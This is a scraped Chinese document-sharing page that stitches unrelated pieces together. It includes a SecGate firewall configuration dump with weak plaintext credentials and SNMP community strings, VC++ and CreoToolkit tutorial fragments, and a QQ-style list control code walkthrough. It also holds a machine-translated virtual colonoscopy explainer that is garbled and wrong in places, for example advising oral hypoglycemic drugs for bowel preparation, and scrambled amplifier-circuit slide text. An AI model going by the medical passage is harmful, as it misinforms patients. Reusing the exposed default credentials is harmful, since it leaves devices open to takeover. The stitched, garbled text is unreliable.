fe4 1000anti pingofdeath fe4 800anti udpflood fe4 1000anti pingsweep fe4 10anti tcpportscan fe4 10anti udpportscan fe4 10sysif set fe1 speed auto mtu 1500 ipmac off macpolicy permit mode route sroute off log off anti off nonip deny idsblock off vlan offsysif set fe2 speed auto mtu 1500 ipmac off macpolicy permit mode route sroute off log off anti off nonip deny idsblock off vlan offsysif set fe3 speed auto mtu 1500 ipmac off macpolicy permit mode route sroute off log off anti off nonip deny idsblock off vlan offsysif set fe4 speed auto mtu 1500 ipmac off macpolicy permit mode route sroute off log off anti off nonip deny idsblock off vlan offsysip add fe1 10.50.10.45 255.255.255.0 ping off admin on adminping on traceroute onsysip add fe4 61.185.40.23 255.255.255.128 ping on admin on adminping off traceroute offsysip add fe3 172.24.40.100 255.255.255.0 ping on admin on adminping off traceroute offvrrpbunch delay 10route add droute any 61.185.40.1mngglobal set cpu 80 mem 80 fs 80 rcomm "public" wcomm "private" trapc "public" username "snmpuser" level "AuthnoPriv" authpass "12345678"crypt "MD5"mngglobal add snmpip 222.91.74.218mngglobal onlogsrv set 222.91.74.218 514 udpmngacct set admin password "firewall"mngacct multi onmngacct failtime 5 blocktime 30 period 120dns set sysname SecGateipcftcheck offlongconn set 1800statetable udp 20 icmp 5statetable overtime establish 1800 syn 120dnsrelay set autordweb srcaddr any dstaddr anyrdweb dstport 80vpn set dhcp active off dhcpserver 127.0.0.1 interface lotimeout set web 600bandwidth add p2p_band priority 3 minbw 60 maxbw 160 comment "建议仅用于P2P带宽限制"ftpactive port20 keep offtcpmss set 1460defsvc set ftp ftp 21defsvc set h323 h323 1720defsvc set sqlnet sqlnet 1521defsvc set sip sip 5060defsvc set rtsp rtsp 554defsvc set mms mms 1755defsvc set pptp pptp 1723defsvc set gk gk 1719defsvc set tftp tftp 69defsvc set ftp comment "文件传输协议"defsvc set h323 comment "Netmeeting服务"defsvc set sqlnet comment "oracle数据库网络连接"defsvc set sip comment "基于sip协议的动态服务"defsvc set rtsp comment "RTSP服务"defsvc set mms comment "MMS服务"defsvc set pptp comment "点到点隧道协议的动态服务"defsvc set gk comment "H.323网守服务"defsvc set tftp comment "TFTP协议"defsvc set icmp icmp comment "ICMP服务"defsvc set ping icmp type 8 comment "PING请求"defsvc set pong icmp type 0 comment "PING回应"defsvc set tcp proto tcp any any comment "tcp协议的所有服务"defsvc set udp proto udp any any comment "udp协议的所有服务"defsvc set gre proto 47 comment "封装协议"defsvc set esp proto 50 comment "VPN加密认证协议"defsvc set ah proto 51 comment "加密协议"defsvc set vrrp proto 112 comment "HA负载均衡协议"defsvc set ssh proto tcp any 22 comment "远程加密登录"defsvc set telnet proto tcp any 23 comment "远程登录协议"defsvc set smtp proto tcp any 25 comment "邮件发送服务"defsvc set http proto tcp any 80 comment "www服务"defsvc set pop3 proto tcp any 110 comment "邮件接收服务"defsvc set ntp proto tcp any 123 comment "时间服务器服务"defsvc set netbios proto tcp any 137 proto tcp any 139 proto udp any 137 proto udp any 138 comment "windows文件共享"defsvc set dhcp proto udp any 67:68 proto tcp any 67:68 comment "dhcp & bootp"defsvc set https proto tcp any 443 comment "https服务"defsvc set pptp_server proto tcp any 1723 proto 47 comment "点到点隧道协议(用于防火墙作为PPTP服务器)"defsvc set dns proto tcp any 53 proto udp any 53 comment"域名解析服务"defsvc set snmp proto udp any 161 comment "简单网络管理协议"defsvc set snmptrap proto udp any 162 comment "snmp trap 发送服务" defsvc set syslog proto udp any 514 comment "日志传输协议"defsvc set oicqc proto udp any 4000 comment "QQ客户端打开端口"defsvc set oicqs proto udp any 8000 comment "QQ服务器打开端口"defsvc set secgate_auth proto tcp any 9998 proto udp any 9998 comment "SecGate安全网关用户认证"defsvc set secgate_global proto tcp any 161 proto udp any 161 comment "SecGate安全网关集中管理"defsvc set secgate_https proto tcp any 8889 proto tcp any 8888 comment "SecGate安全网关WEB管理"defsvc set secgate_ha_conf proto tcp any 9223 proto udp any 9455 comment "SecGate安全网关HA功能配置同步服务"defsvc set virus_blaster proto tcp any 135:139 proto udp any 135:139 proto tcp any 4444 proto udp any 69 comment "冲击波影响端口"defsvc set virus_sasser proto tcp any 445 proto tcp any 1025 proto tcp any 1068 proto tcp any 5554 proto tcp any 9995:9996 proto udp any 9995:9996 comment "震荡波影响端口"defsvc set virus_sqlworm proto udp any 1434 comment "SQL 蠕虫影响端口" defsvc set pcanywhere proto tcp any 5631:5632 proto udp any 5631:5632 comment "pcanywhere"defsvc set lotusnote proto tcp any 1352 proto udp any 1352 comment "lotus notes"defsvc set ike proto udp any 500 proto udp any 4500comment "Internet 密钥交换协议"defsvc set l2tp proto udp any 1701 comment "第二层隧道协议"defsvc set thunder proto tcp any 3075:3079 proto tcp 3075:3079 any comment "迅雷端口"defproxy set http port 80 java permit javascript permit activex permit defproxy set ftp port 21 get permit put permit multi permitdefproxy set telnet port 23defproxy set smtp port 25 domain /doc/ce6812813.html, server /doc/ce6812813.html, maildomain /doc/ce6812813.html, mailserver 1.1.1.1 maxlength 5120 maxreceiver 5 sendinterval 10 sendamount 100 defproxy set pop3 port 110 maxlength 5120ips atkresp onlogips backdoor onlogips info onlogips multimedia onlogips p2p onlogips porn onlogips scan onlogips virus onlogips webcf onlogips webcgi onlogips webclient onlogips webfp onlogips webiis onlogips webmisc onlogips webphp onloglimitp2p set apple denylimitp2p set ares denylimitp2p set bt denylimitp2p set dc denylimitp2p set edonkey denylimitp2p set gnu denylimitp2p set kazaa denylimitp2p set msn denylimitp2p set qq denylimitp2p set skype denylimitp2p set soul denylimitp2p set winmx denydefdomain detect offpolicy add permit id 1 name p1 in any out any service ike time none log on active onpolicy add permit id 2 name 集中管理主机 from222.91.74.218/255.255.255.255 to 219.145.109.30/255.255.255.255 in any out any service secgate_global time none log on active onpolicy add permit id 3 name p2 from 172.24.40.0/255.255.255.0 to 192.168.5.0/255.255.255.0 in any out any time none log on tunnelxian_qianxian active onpolicy add permit id 4 name p3 from 192.168.5.0/255.255.255.0 to 172.24.40.0/255.255.255.0 in any out any time none log on tunnelxian_qianxian active onpolicy add nat id 5 name p5 from 172.24.40.0/255.255.255.0 sat61.185.40.23 in any out any time none active onwormfilter set sobig ignorewormfilter set ramen ignorewormfilter set welchia ignorewormfilter set agobot ignorewormfilter set opaserv ignorewormfilter set blaster ignorewormfilter set sadmind ignorewormfilter set slapper ignorewormfilter set novarg ignorewormfilter set slammer ignorewormfilter set zafi ignorewormfilter set bofra ignorewormfilter set dipnet ignorewormfilter offdefantivirus set smtp discard on alarm ondefantivirus set smtpfile filenum 500 filesize 10 dirnum 8 defantivirus set pop3file filenum 500 filesize 10 dirnum 8 defantivirus set ftp discard ondefantivirus set ftpfile filenum 500 filesize 10 dirnum 8 defantivirus set http discard ondefantivirus set httpfile filesize 10 check htmldefantivirus update offpolicy stateless offmnghost add 10.50.10.44 "出厂默认管理主机"mnghost add 117.32.132.10mnghost add 222.91.74.218mnghost add 172.24.40.10mnghost limitless onauthsrv local 9998 9998authsrv radius 1.1.1.1 1812 1813 123456authsrv on localsyncfg set if none state backup backupif offstp set priority 32768stp startrouter rip interface fe1 auth offrouter rip interface fe2 auth offrouter rip interface fe3 auth offrouter rip interface fe4 auth offrouter rip set version 2 metric 16 update 30 garbage 120 timeout 180router ospf interface fe1 auth off mode text passwd none cost 10 router ospf interface fe2 auth off mode text passwd none cost 10 router ospf interface fe3 auth off mode text passwd none cost 10 router ospf interface fe4 auth off mode text passwd none cost 10router ospf set routerid 1 rfc1583 on以上另存为 TXT 文本即可这时会出现提示“重启安全网关”,点击即可。

CreoToolkit二次开发 概述

CreoToolkit二次开发 概述
设置TK库目录
3/22
Coler prodevelop@
11
项目配置—项目属性
设置依赖库
3/22 Coler prodevelop@
protk_dllmd.lib wsock32.lib mpr.lib kernel32.lib user32.lib gdi32.lib winspool.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib psapi.lib comdlg32.lib ws2_32.lib netapi32.lib
注册程序—手动加载
注册文件加载
3/22
Coler prodevelop@
30
注册程序—手动加载
运行效果
3/22
Coler prodevelop@
31
注册程序—手动加载
方法一:通过制作快捷启动 图标自动加载
方法二:复制protk.dat 到Creo的text文件夹下
3/22
Coler prodevelop@
14
创建菜单—代码实现
打开”CreoTk.cpp”文件
3/22
Coler prodevelop@
15
创建菜单—代码实现
代码如下
3/22
Coler prodevelop@
16
创建菜单—代码实现
代码如下(接上)
3/22
函数内
3/22
Coler prodevelop@
19
创建菜单—代码实现
extern "C" int user_initialize(int argc,char *argv[]) Creo调用程序时的接口函数,在Creo调用TK时会识别此

VC++ 动态添加菜单实例—基于Visual Studio 2010

VC++ 学习笔记—基于Visual Studio 2010 菜单操作之动态添加菜单Author:WukkCreate Date:10/27/2011Version:1.0.0Email:11046064@标题: VC++ 2010动态添加菜单作者:Wukk创建日期:2011-10-27上次更新日期: 2011-10-27版本:1.0(初稿)文档状态修订文档历史记录日期版本说明作者2011-10-27 初稿需要动手实践Wukk2011-**-** 1.0 ****2011-**-** 2.0 ****VC++ 2010动态添加菜单表格1-1 开发环境介绍详细开发过程如下:启动Visual Studio 2010,点击“文件”-->“新建”-->“项目”,在左侧“已安装的模板视图”中选择“Visual C++ ” 节点,选择“MFC”,在右侧视图中选择“MFC应用程序”,编写项目的名称为:AddMenu,如下图所示:点击“确定”按钮,进入“MFC 应用程序向导”页面,点击左侧的“应用程序类型”,在右侧点击“单个文档”单选按钮,选择“项目类型”为“MFC标准”,并将下边的“使用 Unicode 库”前边的对勾去掉(否则在程序中输入中文字符串后,编译时会遇到问题),如下图所示:点击左侧的“用户界面功能”,在右侧的“命令栏(菜单/工具栏/功能区)”中选用“使用经典菜单”,如图所示:其他保持默认,点击“完成”按钮完成项目的创建。

然后在项目的“资源视图”中点击“String table ”节点,资源视图如下图所示:双击“String table”,打开“String table”窗口,添加如下字符串,如图所示:接下来,切换到“类视图”,单击选中“CAddMenuView”类,如下图所示:右键单击该类,打开属性视图,在“消息”选项下选择“WM_RBUTTONDOWN”消息,在右侧添加“OnRButtonDown”函数,如图所示:系统自动定位到添加函数的代码处,在此位置编写代码如下:接下来,为新添加的菜单项添加消息映射,在消息映射处添加菜单ID和响应函数映射,代码如下:在头文件中添加菜单响应函数的定义,如图所示:接下来编写菜单响应函数,代码如下:最后,点击“生成”-->“生成解决方案”,生成成功后,点击“调试”-->“启动调试”,运行项目,在视图右键点击鼠标右键,效果如下所示:点击“确定”按钮,点击菜单栏的视图菜单,看到下拉菜单中出现了动态添加的“动态菜单”,如下图所示:点击“动态菜单”,执行响应函数,看到效果如下:至此,动态添加菜单功能实例结束。

虚拟大肠镜检查的一些工作原理

虚拟结肠镜检查(VC)(或电脑断层结肠成像(CTC))使用X射线和电脑生产低端两个从最低的部分直肠开始,一路查看到结肠(大肠)和三维图小肠,并在屏幕上显示出来。

这个过程是用来诊断结肠和肠道疾病,包括息肉,憩室病,癌症。

VC可以进行计算机断层扫描(CT),有时也被称为CAT扫描或磁共振成像(MRI)。

虚拟结肠镜检查程序而准备的VC不同,你通常会被要求采取泻药或其他口服降糖药,在家的日子,从你的结肠手术前清除大便。

你也可能被要求使用直肠栓剂清洗您的任何剩余的排泄物。

VC在医院或医疗中心放射科的地方。

检查大约需要10分钟,不需要镇静剂。

在手术过程中,医生会问你躺在桌子上,将一根细管插入你的直肠,和空气将通过管道输送到充气结肠更好的视觉。

该表通过扫描仪产生一系列二维截面沿结肠长度移动。

计算机程序将这些图像,共同创造一个三维图像,可在视频屏幕上观看。

你将被要求在扫描保持你的呼吸顺畅,以避免图像失真。

检测结束后,从扫描仪中的信息必须处理创建的电脑图片或结肠的图象。

放射科医师评估结果来确定一些异常。

你可能手术后恢复正常活动,虽然你的医生可能会问你等待,对测试结果进行了分析。

如果发现异常,你需要常规结肠镜检查,它可以执行的同一天。

在常规结肠镜检查,医生插入试管到病人的直肠结肠镜-一个长期的,灵活的,点燃管慢慢引导它通过结肠。

止痛药和温和的镇静剂帮助病人保持轻松舒适的在30-60分钟的过程。

一个微型摄像头的范围传输结肠内壁的图像,使医生可以在视频监视器上检查。

如果发现异常,医生可以将其切除或采取组织样本,通过范围的小工具。

常规结肠镜检查的有关信息,请参阅结肠镜检查的事实表。

糖尿病,消化道和肾脏疾病(NIDDK)。

虚拟结肠镜检查的优点VC是比常规结肠镜检查对某些人来说更舒适,因为它不使用结肠镜。

因此,没有需要镇静,您可以返回到您的日常活动,不影响回家后的一些活动,没有他人的援助。

VC++提供了更清晰,更详细的使用钡剂灌肠。

Microsoft Visual c++ 各版本之间关系(非常全)

Microsoft Visual c++ 各版本之间关系我们平常玩的游戏、用的免CD破解补丁等程序常常都需要C++ Redistributable Package 的支持。

但是C++ Redistributable Package有众多版本,常常使新玩家觉得无从下手。

本文的目的在于帮助大部分初级玩家解决区分c++的版本问题,让他们很快的找到自己需要的c++版本。

首先,我们来看看C++ Redistributable Package究竟有多少种版本。

以下分条列举。

Microsoft Visual c++ 2005 Redistributable Package(x86)Microsoft Visual c++ 2005 Redistributable Package(x64)Microsoft Visual c++ 2005 SP1 Redistributable Package(x86)Microsoft Visual c++ 2005 SP1 Redistributable Package(x64)Microsoft Visual c++ 2008 Redistributable Package(x86)Microsoft Visual c++ 2008 Redistributable Package(x64)Microsoft Visual c++ 2008 SP1 Redistributable Package(x86)Microsoft Visual c++ 2008 SP1 Redistributable Package(x64)Microsoft Visual c++ 2010 Redistributable Package(x86)Microsoft Visual c++ 2010 Redistributable Package(x64)Microsoft Visual c++ Redistributable Package(IA64)如此多的版本难免让人看得眼花缭乱。

基本共射极放大电路


2.3 图解 分析法
2.3.2 动态工作情况分析
3. BJT的三个工作区
②放大电路 的动态范围
放大电路要想 获得大的不失真输 出幅度,要求:
• 工作点Q要设置在 输出特性曲线放大区 的中间部位;
• 要有合适的交流负载线。
2.3 图解 分析法
2.3.2 动态工作情况分析
4. 输出功率和功率三角形
放大电路向电阻性负载提供的输出功率
=1.62 k
Au空= - RC /rbe=-60 5/1.62=-186 Au载= - RL /rbe=-60 (5//5)/1.62=-93
EC
uo UBE=UB-UE
=UB - IE RE
IE = IC +IB IC
+EC 静态工作点稳定过程
RB1 C1
I1 RC IC C2
IB
C
ui
RB2
B
I2
E
RE
RL
IE CE
UB
R B2 R B1 R B2
EC
UB被认为较稳定
uo
U本BE=电U路B-稳UE压的 过 于程 加=U实 了B R际- IEE是形R由成E
iCiC
VCC VVCRCCcC RRc c
ICQ ICICQQ
Q Q
Q Q
斜斜率率 -IIBIBQBQQ
11 RRc c
VVCCCEQ VC EQVC EQ
VCC vvCCEE
2.3
2. 放大电路如图所示。当测得 BJT的VCE 接近VCC的值时,问 管子处于什么工作状态?可能 的故障原因有哪些?
Po
Vom 2
Iom 2
1 2
Vom
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

QQ软件主界面的ListCtrl 是可以说非常经典了,一个字漂亮! 这个ListCtrl的所包含的信息之丰富,更是让我们这些软件工程师望Q兴叹! 今天,我将和大家一起来解决这个难题,写一个属于自已的CMyListCtrl。

一、实现MyListCtrl要完成的任务及实现方法作分析。

1. MyListCtrl 显示彩色图片头像(在线用户头) 让CMyListCtrl 显示彩色图片作为头像很容易,用CImageList 加载规格相同的图片到其中,然后让CimageList和CMyListCtrl关联就可能实现。往ImageList 添加图片或图标有三种方法,代码如下

CimageList m_imageList; m_imagelist.Create(40, 40, ILC_MASK|ILC_COLOR32, 1, 1); //添加ID 为IDI_ICON的图标 m_imageList.Add( AfxGetApp()->LoadIcon(IDI_ICON));

//从图标文件中加载并添加 HICON hIcon = (HICON)LoadImage(NULL, ".//image//SQQun.ico", IMAGE_ICON, 0, 0, LR_LOADFROMFILE) m_imagelist.Add(hIcon);

//从位图文件中加载并添加 CBitmap *pBitmap=new CBitmap; pbitmap ->m_hObject = (HBITMAP) LoadImage(NULL, "face.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); m_imagelist.Add(pBitmap, RGB(255,255, 255)/*mask color*/); …. Delete pBitmap;

注意;在加载并添加大量图标或位图时,每完成一个添加都要掉其对象。

CMyListCtrl 和CimageList 关联代码介绍: //先创建ListCtrl ( m_MyTalkerListCtrl) if(m_MyTalkerListCtrl.Create(LVS_SMALLICON | WS_TABSTOP|WS_CHILD, CRect(50,100,206,180), this,IDD_TALKER_LIST/*ID*/)) { //关联 m_MyTalkerListCtrl.SetImageList(&m_imagelistBig,LVSIL_SMALL);

//往ListCtrl 中添加好友,这时采用单 for(int i=1; i<10; i++) { m_MyTalkerListCtrl.InsertItem(i,"我的好友", i);//第三个参数表示Image 的Index } }

2.要让CMyListCtrl 显示灰色图片头像(非在线用户) 显灰色图片似乎不好办,是做大量的单色位图文件还是用软件代码实现转换?做文件麻烦,或几经考虑,最好是把ImageList 中彩色图片用代码实现单色位图转换。处理方法是 是获取CMyListCtrl的ImageList 并提ListCtrl的Item 对应的图像,转换成单色位图并在原位置显示。转换单色位图代码如下:

/* HBITMAP BitmapColorToGray(CDC* pDC,HBITMAP hBitmap) { BITMAP bmpInfo; ::GetObject(hBitmap,sizeof(BITMAP),&bmpInfo); if(pDC) { CDC memDC; if( !memDC.CreateCompatibleDC(pDC) ) { return NULL; }

HBITMAP oldBitmap = (HBITMAP)memDC.SelectObject(hBitmap); DWORD r,g,b; for (int H =0; H <= bmpInfo.bmHeight; H++) { for(int W = 0; W <= bmpInfo.bmWidth; W ++) { r = GetRValue(memDC.GetPixel(W,H)); g = GetGValue(memDC.GetPixel(W,H)); b = GetBValue(memDC.GetPixel(W,H)); r = (r * 3 + g * 6 + g) / 10; g = r; b = g; memDC.SetPixel(CPoint(W,H),RGB(r,g,b)); } } hBitmap = (HBITMAP)memDC.SelectObject(oldBitmap); memDC.DeleteDC(); } return hBitmap; } */

说细转换过请参考 MyListCtrl.cpp 中的OnPaint()函数

3. CMyListCtrl 要包含丰富的用户信息(如 ID,NAME 、IP Address 、视频可用 ,手机短消息可用…)

QQ 的ListCtrl 包含了很多信息,如在线用户和不在用户的头象不同,有视频设备用户会显示标志,开通了手机短消息功能的也会显示标志,还有很多不一一例出。这是如何实现的?去MSDN分析CListCtrl 发现,有两个函数SetItemData(int nItem,DWORD dwData),和GetItemData(int nItem),非常有用,这个32位 data 做几个标志还是不错的,但还是无法表达更多的东东。如果把这32位 data作为外部结构的地址是否可行呢?经实验是可行的,但在要外部处理,封装性能不好! 那自己定一个为用户信息结构吧! 在CMyListCtrl类的头文件中定义用户信息结构 struct LUSERITEM { CString szUserID; CString szUserName; CString szIPAddress; CString szServerAddress; CString szNoticeMsg; BOOL bOnline; int nHeadImageIndex; //根据需要可增加信息 };

再定义一个链表,用来管理用户信息的结构,如查找,增加,删除等操作。 typedef std::deque DEQUELVITEM;

此外还有#include 4. 当新消息时动画显示头像和新消息数量(在V1.2版本中实现)

二、打开Visual Studio C++ (6.0),新建工程。(本文的主要任务是完成一个QQ ListCtrl 的,不在本任务下的其它工作请自己完成,若和ListCtrl使用有关的代码,本文会详细介绍)

a. 首先,生成一个新类名为CMyListCtrl. 其基类为CListCtrl. 这部分工作用ClassWizard很容易完成。 b. 添加相关消息及处理函数,OnPaint() ;OnMouseMove();OnHScroll();OnVScroll等,这部工作用ClassWizard同样很容易完成。编译通过后,接着往下看。 c. 在.h文件顶部定义结构体struct LUSERITEM ,可参照下面定义

d. 在.h文件顶部定义一些常量标志 #define TVS_VIDEO 0x00000001 #define TVS_MOBILEMSG 0x00000002 #define TVS_NETDISK 0x00000004 #define TVS_LEADER 0x00000008 #define TVS_VICELEADER 0x00000010 #define TVS_ONLINEUSER 0x00000020 e.添加成员变量 及函数 CFont* m_pFont; //用于创建选择字体 BOOL m_bOverImage; BOOL m_bOverVedio; BOOL m_bOverMobile; DEQUELVITEM m_DequeList; //用户信息链表 HICON m_hTailIconA; //vido flag HICON m_hTailIconB; //mobil message flag HICON m_hTailIconC; HBITMAP m_hBackBitmap; //背景

f. .添加成员函数

重载InsertItem函数,用于增加Item同时增加用户信息。 InsertItem(int nItem, LPCTSTR szItemText, int nImageIndex, LUSERITEM* UserInfo) { DEQUELVITEM* pDeqListItem = &m_DequeList; if(UserInfo) pDeqListItem ->push_back(*UserInfo); nItem = CListCtrl::InsertItem(nItem,szItemText,nImageIndex); return nItem;

} 添加设置显示图标函数,A指定视频标志图标,B指定为短消息标志图标,C未定义 void CMyListCtrl::SetTailIcon(LPCTSTR strIconFileA,LPCTSTR strIconFileB, LPCTSTR strIconFileC) { HICON hIcon=NULL; hIcon = (HICON)::LoadImage(NULL, strIconFileA, IMAGE_ICON, 0, 0, LR_DEFAULTSIZE|LR_LOADFROMFILE); if(hIcon) { if(m_hTailIconA) DeleteObject(m_hTailIconA); m_hTailIconA = hIcon;

}

hIcon = (HICON)::LoadImage(NULL, strIconFileB, IMAGE_ICON, 0, 0, LR_DEFAULTSIZE|LR_LOADFROMFILE); if(hIcon) { if(m_hTailIconB) DeleteObject(m_hTailIconB); m_hTailIconB = hIcon;

} hIcon = (HICON)::LoadImage(NULL, strIconFileC, IMAGE_ICON, 0, 0, LR_DEFAULTSIZE|LR_LOADFROMFILE); if(hIcon) { if(m_hTailIconC) DeleteObject(m_hTailIconC);

相关文档
最新文档